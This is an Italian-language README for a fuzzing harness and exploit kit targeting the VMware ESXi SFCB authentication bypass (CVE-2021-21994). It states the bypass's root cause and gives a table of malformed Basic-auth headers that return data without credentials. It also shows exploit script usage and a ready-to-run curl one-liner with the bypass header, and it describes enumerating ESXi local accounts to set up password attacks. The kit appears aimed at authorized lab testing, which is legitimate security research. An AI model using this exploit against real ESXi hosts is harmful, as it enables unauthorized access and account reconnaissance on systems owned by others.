
Valida e sfrutta il bypass dell'autenticazione SFCB di VMware ESXi (CVE-2021-21994) tramite un harness probe/fuzz, consentendo l'enumerazione CIM-XML non autenticata.
| Campo | Valore |
|---|
| Tipo | CWE-287 Autenticazione impropria (auth bypass) |
| Componente | SFCB (Small Footprint CIM Broker) all'interno di VMware ESXi |
| Vettore d'attacco | Rete, TCP 5989 (CIM-XML su HTTPS), "richiesta appositamente costruita" |
| Versioni interessate | ESXi 6.5 / 6.7 / 7.0 precedenti a VMSA-2021-0014 (luglio 2021) |
| Fix | Build della patch VMSA-2021-0014 |
| PoC pubblico | Nessuno. VMware non ha mai divulgato la forma della richiesta |
Riferimenti: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Poiché non esiste alcun PoC, questo kit è un harness "trovalo da solo": sfcb_probe.py
valida un oracolo (check) e poi lancia un dizionario di mutazioni mirate contro
/cimom (fuzz), segnalando qualsiasi 200-con-body-CIM ottenuto senza credenziali
valide.
Da usare solo contro la propria VM di laboratorio o target esplicitamente compresi in un perimetro di test autorizzato.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # deve essere in LISTEN
# prima stabilisci l'oracolo (serve un account ESXi locale reale, es. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# previsto: no-auth -> 401, bogus -> 401, valid -> 200
# poi fuzz (usa solo credenziali false/assenti, mai le tue reali):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
Il bypass è stato trovato. Causa principale: sfcbd fallisce OPEN quando il
token Basic auth non si decodifica in una coppia user:password contenente i due punti :.
Intestazione PoC minima (base64 di root, senza due punti):
Authorization: Basic cm9vdA==
Matrice delle evidenze dalla run di fuzzing:
| Forma della richiesta | Stato | Significato |
|---|---|---|
nessuna intestazione / b64 valido di user:pass / : / root: | 401 | due punti presenti → l'auth viene eseguita → rifiutata |
b64("root") (senza due punti) | 200 + body CIM | nessun due punti → auth saltata |
b64("\0:\0") (stringa C vuota) | 200 | stesso motivo: nessun due punti |
base64 non valido (spazio / BOM / prefisso Basic) | 200 | errore di decodifica → auth saltata |
Basic\tTOKEN (separatore tab) | 401 | lo split su qualsiasi WSP funziona → l'auth viene eseguita |
Basic␣␣TOKEN (doppio spazio) | 200 | split su spazio singolo → il token inizia con uno spazio → decodifica fallita |
Una risposta 200 trasporta un envelope CIM-XML elaborato dentro il CIMOM
(es. ERROR CODE="5" Class not found), a prova che il layer di autenticazione HTTP è stato
superato — la stessa identica richiesta senza l'intestazione malformata restituisce 401.
Utilizzo dell'exploit:
python3 sfcb_exploit.py verify 192.168.x.x # prova dell'oracolo, stampa VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump dei nomi delle classi di un namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
One-liner curl per gli screenshot del report:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Impatto: accesso in lettura non autenticato al broker CIM:
VMware_Identity rivelano tutti gli account
locali ESXi (osservati sul lab 6.5: root, dcui, vpxuser — host gestito da vCenter —
oltre a utenti personalizzati), consentendo attacchi mirati alle password.VMware_RoleBasedAuthorizationService,
CIM_PrivilegeManagementService) dichiarano metodi di profilo DMTF
(AssignRoles, AssignAccess, ...) ma espongono nessuna istanza — i
metodi sono solo a livello di schema. La creazione/modifica di account via CIM non è
possibile con questa CVE; il tetto di impatto è la divulgazione di informazioni non autenticata.Verdetti:
BYPASS-STRONG — HTTP 200 + body CIM-XML senza credenziali valide → hai
trovato il bypass; la richiesta salvata nel dump è la tua primitiva di exploit.bypass-weak(200-no-cim-body) — 200 ma senza body CIM; ispeziona il dump.blocked / info(400) — rifiutata. Nota: un 400 di solito significa che la richiesta
è morta prima che l'autenticazione venisse valutata — comunque interessante, solo non un bypass.Nota sui body CIM costruiti a mano: secondo DSP0200, EnumerateInstanceNames richiede
l'IPARAMVALUE ClassName. Un body senza di esso può essere rifiutato per motivi
non legati all'autenticazione e inquinare l'oracolo — l'harness invia sempre il body
corretto secondo la specifica.
Il fuzzer copre le classiche forme di confusione del parser HTTP auth. Se nessuna ha effetto, il percorso rimanente (e definitivo) è il diff binario:
esx-base per una build vulnerabile (es. classe 6.5.0 GA) e una
build 6.5/6.7/7.0 con la patch VMSA-2021-0014 dall'indice pubblico del depot VMware:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar → payload vib → cpio), fai il diff
dei binari sfcbd* con Ghidra + BinDiff.sfcb su SourceForge)
è un utile riferimento strutturale per il percorso di codice HTTP+auth anche se il fork
di ESXi è modificato.